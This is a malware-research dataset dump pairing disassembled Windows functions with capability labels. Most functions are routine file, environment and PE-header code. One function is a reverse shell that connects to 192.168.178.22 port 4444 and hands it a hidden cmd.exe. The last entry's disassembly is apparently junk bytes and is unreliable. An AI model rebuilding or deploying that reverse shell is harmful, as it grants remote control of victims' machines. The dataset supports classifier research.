joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140021cb8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140052cb0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140021d0f
cmp word [rdx], r13w
jne 0x140021d0f
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140021d14
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140021e39
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140021e5a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140021d4d
mov rdx, r9
mov word [rbx], cx
jmp 0x140021d74
cmp r9, r8
jae 0x140021d84
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140021d2e
jmp 0x140021e39
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021e2e
cmp dword [rsp + 0x80], esi
je 0x140021e2e
lea r8, [0x140052cb0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140021e06
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140021dd6
mov word [rbx], r13w
jmp 0x140021e36
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140021de3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140021e36
cmp word [rsp + 0x70], r13w
jne 0x140021e13
cmp rbx, r14
je 0x140021dd0
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140022920
cmp word [rsp + 0x70], r13w
je 0x140021e39
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140052cb0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140021e33
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140021e39
Function at 0x14002695c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140015c50
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400269e6
cmp byte [rbp - 0x21], r15b
je 0x1400269e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140026a1c
call fcn.14001c8b4
test eax, eax
jne 0x140026a08
cmp byte [rbp - 0x21], r15b
je 0x140026a00
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140026a1c
cmp byte [rbp - 0x21], r15b
je 0x140026a19
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001622c
test eax, eax
jne 0x140026abc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140015c50
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140026a5b
cmp byte [rbp - 0x21], r15b
je 0x140026a90
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140026a90
call fcn.14001c8b4
test eax, eax
jne 0x140026a7c
cmp byte [rbp - 0x21], r15b
je 0x140026a75
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140026a90
cmp byte [rbp - 0x21], r15b
je 0x140026a8d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001622c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140026abc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140026abf
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140026acd
mov rcx, rdi
call fcn.1400171c0
cmp byte [rbp + 0x3f], r15b
je 0x140026adc
mov rcx, qword [rbp + 0x27]
call fcn.1400171c0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001420
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
mov r8d, 0x100
lea rdx, [0x140094690]
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ebx, eax
cmp eax, 0x100
jb 0x140001483
lea ecx, [rax + 1]
mov qword [rsp + 0x30], rdi
add rcx, rcx
call fcn.14003b0b8
mov rdi, rax
test rax, rax
je 0x1400014a6
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rax, rdi
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
test ebx, ebx
jne 0x140001494
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
mov rbx, qword [rsp + 0x38]
lea rax, [0x140094690]
add rsp, 0x20
pop rsi
ret
lea rdx, str.Could_not_allocate_environment_buffer
mov ecx, 0x68
call fcn.140001360
int3
Function at 0x140002080
Capabilities:
Query environment variable
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
lea r14, str.pythonX
mov edx, 0x400
lea r9, str.py__ls
mov qword [rsp + 0x20], r14
mov r8, 0xffffffffffffffff
lea rcx, [0x140094aa0]
lea rsi, str.environment
call fcn.140001210
lea rbx, [0x140094690]
mov r8d, 0x100
mov rdx, rbx
lea rcx, [0x140094aa0]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
cmp eax, 0x100
jb 0x140002145
lea ecx, [rax + 1]
add rcx, rcx
call fcn.14003b0b8
mov rbx, rax
test rax, rax
je 0x1400021de
mov r8d, edi
lea rcx, [0x140094aa0]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov r9, rsi
lea rcx, str.found_configured_value__ls_ls_in__ls_n
mov r8, rbx
mov rdx, r14
call fcn.1400012c0
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret
test edi, edi
jne 0x140002117
xor ebx, ebx
cmp word [0x140094890], bx
je 0x14000218f
lea rsi, [0x140094890]
xor r8d, r8d
mov qword [rsp + 0x28], rsi
lea r9, [0x140094aa0]
mov rdx, r14
mov dword [rsp + 0x20], 0x400
lea rcx, str.defaults
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x14000218f
lea rbx, [0x140094aa0]
jmp 0x140002117
cmp word [0x14007a670], bx
je 0x1400021ca
lea rsi, [0x14007a670]
xor r8d, r8d
mov qword [rsp + 0x28], rsi
lea r9, [0x140094aa0]
mov rdx, r14
mov dword [rsp + 0x20], 0x400
lea rcx, str.defaults
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
jne 0x140002186
mov rdx, r14
lea rcx, str.found_no_configured_value_for__ls_n
call fcn.1400012c0
jmp 0x14000212c
lea rdx, str.Could_not_allocate_environment_buffer
mov ecx, 0x68
call fcn.140001360
int3
Function at 0x1400145b8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400143a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400143a3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400143a3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400143a3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400143a3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400143a3
cmp dword [rcx + 0xf8], 0
je 0x1400143a3
mov ecx, ebx
call fcn.1400144c0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400140fc
nop
cmp dword [rbp + 0x20], 0
je 0x1400143f1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400143fc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140014334
Function at 0x14004b104
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x14007a010]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14004b162
cmp word [rdx], r12w
jne 0x14004b162
or byte [rax + r8*8 + 0x38], cl
jmp 0x14004b168
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14004b2c3
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14004b29e
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14004b1a1
mov rcx, r9
jmp 0x14004b1c4
cmp r9, rdx
jae 0x14004b1db
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14004b185
jmp 0x14004b2c3
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14004b298
cmp dword [rsp + 0x80], edi
je 0x14004b298
mov rdx, r14
lea r11, [0x14007a010]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14004b271
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14004b244
mov word [rbx], r12w
jmp 0x14004b2bf
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14004b24d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14004b2bf
cmp word [rsp + 0x70], r12w
jne 0x14004b27e
cmp rbx, rsi
je 0x14004b23e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14005a254
cmp word [rsp + 0x70], r12w
je 0x14004b2c3
mov word [rbx], r13w
jmp 0x14004b2bf
lea r11, [0x14007a010]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14004b2bb
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14004b2c3
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14004bf98
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14004bfca
call fcn.140043114
mov dword [rax], 0x16
call fcn.140042f38
jmp 0x14004c0e9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14004c0e9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14004c0e9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14004bff9
lock or dword [rcx + 0x14], 0x10
jmp 0x14004c0e9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14004c00d
call fcn.14005b85c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140045890
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14004b6a8
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14004c0d7
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14004c0a2
mov rcx, rsi
call fcn.140045890
cmp eax, edi
je 0x14004c08d
mov rcx, rsi
call fcn.140045890
cmp eax, 0xfffffffe
je 0x14004c08d
mov rcx, rsi
call fcn.140045890
movsxd rbx, eax
lea r14, [0x14007a010]
mov rcx, rsi
sar rbx, 6
call fcn.140045890
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14004c094
lea rdx, [0x1400782f0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14004c0a2
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14004c0c6
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14004c0c6
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14004c0c6
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14004c0ec
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14004f818
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14004f848
xor eax, eax
jmp 0x14004f90b
mov rbp, rbx
cmp word [rax], si
je 0x14004f86d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14004f854
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14004f850
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14004f6c8
movsxd r14, eax
test eax, eax
jne 0x14004f8ab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14004f841
mov rcx, r14
call fcn.140043268
mov rdi, rax
test rax, rax
jne 0x14004f8c4
xor ecx, ecx
call fcn.14004322c
jmp 0x14004f8a0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14004f6c8
test eax, eax
jne 0x14004f8f5
mov rcx, rdi
call fcn.14004322c
jmp 0x14004f8ff
xor ecx, ecx
call fcn.14004322c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14004f928
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14004f9af
mov rsi, rbx
cmp word [rax], bp
je 0x14004f96e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14004f958
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14004f954
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140043268
mov rdi, rax
test rax, rax
je 0x14004f99c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400100e0
mov rbp, rdi
xor ecx, ecx
call fcn.14004322c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14005ec48
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14005a254
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14005a254
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14005ed98
cmp rax, 0xffffffffffffffff
je 0x14005ed98
xor edi, edi
test rbp, rbp
jle 0x14005ed43
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400470e8
mov rbx, rax
test rax, rax
jne 0x14005ecd0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14005ed39
mov edx, 0x8000
mov ecx, r14d
call fcn.14003d260
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140049c6c
cmp eax, 0xffffffff
je 0x14005ed19
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14005ece0
mov edx, r15d
mov ecx, r14d
call fcn.14003d260
jmp 0x14005ed39
cmp byte [rsi + 0x38], dil
je 0x14005ed30
cmp dword [rsi + 0x34], 5
jne 0x14005ed30
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14005ed39
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14004322c
jmp 0x14005edac
jns 0x14005edac
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14005a254
cmp rax, 0xffffffffffffffff
jne 0x14005ed64
cmp byte [rsi + 0x30], dil
je 0x14005edac
mov edi, dword [rsi + 0x2c]
jmp 0x14005edac
mov ecx, r14d
call fcn.1400509ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14005edac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14005edac
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14005eda5
mov eax, dword [rsi + 0x2c]
jmp 0x14005edaa
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14005a254
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400011dd
mov eax, dword [0x1400022a8]
xor r9d, r9d
movsd xmm0, qword [str.192.168.178.22]
mov dword [rbp + 0x198], eax
movzx eax, word [0x1400022ac]
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], rsi
mov esi, 2
mov word [rbp + 0x19c], ax
mov ecx, esi
movzx eax, byte [0x1400022ae]
mov qword [rsp + 0x2d0], rdi
xor edi, edi
mov dword [rsp + 0x28], edi
movsd qword [rbp + 0x190], xmm0
mov byte [rbp + 0x19e], al
lea edx, [rdi + 1]
mov dword [rsp + 0x20], edi
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011a8
mov ecx, 0x115c
mov word [rbp - 0x28], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x24]
mov ecx, esi
lea rdx, [rbp + 0x190]
mov word [rbp - 0x26], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x1400011a8
xorps xmm0, xmm0
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp - 0x58], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.cmd.exe
lea rax, [rsp + 0x50]
mov qword [rbp - 0x60], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x60], xmm0
mov dword [rbp - 0x74], 0x101
movups xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x70], di
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2c8]
mov eax, 1
mov rbx, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140001200
add rsp, 0x2b0
pop rbp
ret
mov eax, 1
jmp 0x1400011c5

Function at 0x140001adc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b26
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b28
xor al, al
add rsp, 0x28
ret
Function at 0x1000d580
Capabilities:
Delete registry key

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [0x10014030]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movdqu xmm0, xmmword [rcx]
mov rbp, rdx
mov rsi, r8
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8d, 0x40
movdqu xmmword [rsp + 0x20], xmm0
mov rbx, r9
call fcn.1000abf0
xor eax, eax
lea rcx, [rax - 1]
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
not rcx
add rcx, 6
cmp rcx, 0x40
jbe 0x1000d5eb
mov eax, 0x80070057
jmp 0x1000d69a
lea r8, [0x10003ed8]
mov edx, 0x40
mov rcx, rbx
call qword [sym.imp.MSVCR80.dll_wcscpy_s]
lea r8, [rsp + 0x30]
mov edx, 0x40
mov rcx, rbx
call qword [sym.imp.MSVCR80.dll_wcscat_s]
lea rdx, [0x10003ef8]
mov rcx, rsi
call fcn.1000cef0
lea rdx, [0x10003ee8]
mov rcx, rsi
call fcn.1000cef0
mov rdi, 0xffffffff80000000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rdx, [0x10003ee8]
mov rcx, rbp
call fcn.1000cef0
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rdx, [0x10003f08]
mov rcx, rbx
call fcn.1000cef0
lea rdx, [0x10003f18]
mov rcx, rbx
call fcn.1000cef0
lea rdx, [0x10003f50]
mov rcx, rbx
call fcn.1000cef0
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.10007870
add rsp, 0xc8
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x100a393e
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xbea9bea8
stosb byte [rdi], al
adc ebp, ebp
test eax, 0xed13aabe
xor dword [rcx], edi
push rbx
jp 0x100a3941
cmp al, 0x6b
xor dword [rcx + rax], edx
test al, 0x21
sbb byte [rsi], dl
test dword [rdi], esi
jge 0x100a39ba
mov esp, 0xd7d832c4
cmp dword [rdx], edi
add edi, dword [rdx + 0x15d22562]
pop rdx
xchg esp, eax
sub edx, dword [rbx]
sbb byte [rdx - 2], 0x1f
lahf
adc dword [rax - 0x8ac05af], esp
test byte [rdi - 0x3bef3adf], cl
invalid
invalid